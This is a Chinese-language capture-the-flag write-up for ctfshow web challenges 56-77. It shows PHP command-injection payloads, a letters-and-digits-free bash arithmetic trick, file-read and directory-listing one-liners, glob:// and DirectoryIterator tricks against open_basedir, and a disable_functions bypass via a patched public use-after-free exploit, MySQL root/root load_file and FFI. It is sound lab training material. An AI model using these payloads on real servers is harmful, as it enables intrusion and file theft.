ctfshow Web入门[命令执行] web56-77 Writeup

admin 2023年12月15日20:59:58评论9 views字数 4680阅读15分36秒阅读模式

剩下来的命令执行

有一些 open_basedir 和 disable_functions 的绕过

http://cn-sec.com/wp-content/uploads/2023/12/20231215115148-96.png

过滤了字母和数字

根据上一题, 只能使用 . 执行 PHP 的缓存文件

http://cn-sec.com/wp-content/uploads/2023/12/20231215115148-58.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-97.png

提示 flag 在 36.php 中

发现 $ 没被过滤, 当时想的是类似 $$ $@ $! 的指令, 然后 ++ -- 这样子, 本地测试发现都不好构造36

hint 如下

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

双小括号的介绍 http://c.biancheng.net/view/2480.html

exp10it@LAPTOP-TBAF1QQG:~$ echo $(())
0
exp10it@LAPTOP-TBAF1QQG:~$ echo $((~$(())))
-1
exp10it@LAPTOP-TBAF1QQG:~$ echo $(($((~$(()))) $((~$(())))))
-2
exp10it@LAPTOP-TBAF1QQG:~$ echo $((-1 -1))
-2
exp10it@LAPTOP-TBAF1QQG:~$ echo $((-1 1))
-bash: -1 1: syntax error in expression (error token is "1")
exp10it@LAPTOP-TBAF1QQG:~$ echo $((1 1))
-bash: 1 1: syntax error in expression (error token is "1")

$(()) 的默认值是0 ,因为里面没有任何东西, 对0取反得到-1, 取反的结果需要用另一对$(()) 包裹住

这里的-1有点特殊, 因为类似 $((1 1)) 的命令是错误的 (没有运算符号), 而两个-1并在一起 $((-1 -1)) 会让 shell 认为是 $((-1-1)) 即-1减去1, 然后得到-2

exp10it@LAPTOP-TBAF1QQG:~$ echo $((~36))
-37

36的取反结果是-37, 就是说我们需要通过-1来构造出-37, 然后再取反一次

$((~$(($((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(()))) $((~$(())))))))

访问得到 flag

http://8eba4c63-5365-45f7-9c6b-7a0d556e22f7.challenge.ctf.show/?c=$((~$(($((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))%20$((~$(())))))))

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-22.png

命令执行的函数都被 ban 了, 但是 file_get_contents() 还能用

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-14.png

然后看到了 index 里的 highlight_file(__FILE__), 也能够读取 flag

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-6.png

payload 如下

echo file_get_contents('flag.php')
echo fread(fopen('flag.php','r'),filesize('flag.php'))
highlight_file('flag.php')
show_source('flag.php')
readfile('flag.php')
print_r(file('flag.php'));

之前的无参数读取文件在这里也能用

同上

或者配合伪协议进行文件包含, eval 在这里比较灵活, 方法很多

flag 换了个位置

c=print_r(scandir('/')); # 列出 / 目录下的所有文件
c=highlight_file('/flag.txt');

其实只要题目源码能看得到, highlight_file() 就一直能用…

print_r() 被过滤了, 换成 var_dump() 或者 var_export()

scandir() 返回的是数组, 其实就算被过滤了也可以加下标 echo 输出或者写个循环

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-56.png

都被过滤了, 换成文件包含, 盲猜一个 /flag.txt

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-36.png

scandir() 没有被过滤, 严谨一点列目录再读取也可以

同上

index.php 附件

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-74.png

感觉漏了个 ob_start()

就是说将脚本输出的内容发送到缓冲区, 然后通过 ob_get_contents() 获取缓冲区内容, ob_end_clean() 清除并关闭缓冲区, 最后通过 preg_replace() 过滤输出

简单来说就是我们 eval 返回的输出内容被过滤了, 大小写字母和数字会被替换成 ?

测试了一下发现如果语句执行错误, 会显示原来的内容

http://cn-sec.com/wp-content/uploads/2023/12/20231215115149-12.png

没有被过滤

当语句执行成功后才被过滤

http://cn-sec.com/wp-content/uploads/2023/12/20231215115150-66.png

也就是说过滤的操作是在我们当前的命令执行完以后再进行的

我们可以通过 die() exit() 让程序终止, 不再继续往下执行

http://cn-sec.com/wp-content/uploads/2023/12/20231215115150-61.png

/flag.txt 提示不存在

列目录发现被限制了

http://cn-sec.com/wp-content/uploads/2023/12/20231215115150-30.png

考察的是 open_basedirdisable_function 的绕过

https://www.v0n.top/2020/07/10/open_basedir绕过/

https://www.anquanke.com/post/id/208451

使用 scandir() + glob:// 列目录, 不过 glob:// 协议还是有限制, 子目录就不能列了

var_export(scandir('glob://*'));die(); # open_basedir 允许的目录
var_export(scandir('glob:///*'));die(); # 根目录 /

http://cn-sec.com/wp-content/uploads/2023/12/20231215115150-15.png

flag 在 /flag0.txt 内, 但是受限于 open_basedir 和 disable_functions, 常规的文件读取和文件包含都不起作用

于是尝试 bypass disable_functions

其中一个 exp

Backtrace UAF # PHP 7.0-7.4

https://github.com/mm0r1/exploits

我用的是安全客里的 exp, 注意 url 编码

http://cn-sec.com/wp-content/uploads/2023/12/20231215115150-29.png

执行失败, 报错显示 str_repeat() 被禁用了

发现是这两处调用了这个函数

http://cn-sec.com/wp-content/uploads/2023/12/20231215115151-92.png

本质上是把 A 重复79遍, 干脆手工替换

http://cn-sec.com/wp-content/uploads/2023/12/20231215115151-78.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215115151-1.png

又失败了, 这次是 chr() 被禁用

查阅 PHP 官方手册发现可以使用 sprintf('%c', $var) 的形式替代 chr($var)

https://www.php.net/manual/zh/function.sprintf.php

替换之

http://cn-sec.com/wp-content/uploads/2023/12/20231215115151-72.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215115151-33.png

执行成功

查看 /flag0.txt 得到 flag

o5gjpsk03cd.png

c2zmuw0r54j.png

/flagc.txt

竟然可以直接包含了…

2xrwfiasqbr.png

scandir() 被 ban 了

换成 DirectoryIterator

$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
    echo($f->__toString().'<br>');
}
die();

5hdiws4zojm.png

然后 include 读取 flag

DirectoryIterator + glob:// 列目录

flag 在 /flag36.txt, include 包含失败, 存在 open_basedir 限制

hint 提示是 mysql 弱口令连接, 用 load_file() 读文件…(???)

$dbh = new PDO('mysql:host=127.0.0.1;dbname=mysql','root','root');
foreach ($dbh->query('show databases;') as $row){
var_export($row);
}
die();

ge2nv4wrbhn.png

读文件

2l0dklt1w1y.png

/flag36d.txt

同上

qotdwdunkgj.png

提示是 php 7.4

2p43hgm3fdv.png

response 头显示 X-Powered-By: PHP/7.4.9

strlen() 被禁用. 三种 UAF exp 都不能用, 在上面安全客的文章里找了一会

305ucrmje3z.png

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。

尝试一下 FFI 扩展

cat /flag36x.txt > /var/www/flag.txt 读不出来

换成 readflag 下载下来发现是个 ELF 文件

于是用 readflag 读取 /flag36.txt

r1swntmj1jo.png

twoyuq3f4wd.png

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日20:59:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ctfshow Web入门[命令执行] web56-77 Writeuphttp://cn-sec.com/archives/2306277.html

发表评论

匿名网友 填写信息